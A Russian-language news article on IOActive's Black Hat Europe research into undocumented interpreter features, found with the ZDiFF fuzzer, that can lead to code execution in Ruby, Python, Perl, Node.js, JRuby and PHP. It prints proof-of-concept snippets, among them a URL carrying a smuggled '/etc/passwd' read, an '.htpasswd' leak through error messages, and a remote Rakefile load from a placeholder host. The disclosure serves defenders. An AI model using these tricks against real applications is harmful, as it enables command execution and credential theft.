Исследователи из компании IOActive представили на конференции Black Hat Europe доклад, в котором подвели итоги работы по выявлению недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован под лицензией GPLv3.
Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через «/^https:/»), вместо URL может быть передана конструкция вида «|head /etc/passwd;nhttps://url.com», которая приведёт к выполнению кода «head /etc/passwd» в системе.
Проведя fuzzing-тестирование стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:
- Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения PAGER при выполнении метода pager в pydoc. Например, для выполнения программы id можно использовать
import mimetools print(mimetools.pipeto(None,'id')) или import pydoc print(pydoc.pipepager(None,'id') или $ export PAGER="id bar" $ python -c "import pydoc;pydoc.pager('foo')"
- Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля «ExtUtils::Typemaps::Cmd» для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):
use ExtUtils::Typemaps::Cmd; print embeddable_typemap("system 'id'");
- Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов
require(), в случае попытки загрузки не JavaScript-файла буде сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла.
Например, попытка выполнить «console.log(require(‘.htpasswd’))» приведёт к выводу содержимого первой строки файла «.htpasswd» в тексте ошибки. - Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым «пустая строка puts %x(id)» и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:
require "rake"; puts Rake.load_rakefile("http://x.x.x.x/canaryfile");
- Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:
echo shell_exec(escapeshellcmd(bash." -c id"));
приведёт к выполнению «bash -c id», хотя по задумке разработчиков в константе bash могли передаваться другие данные.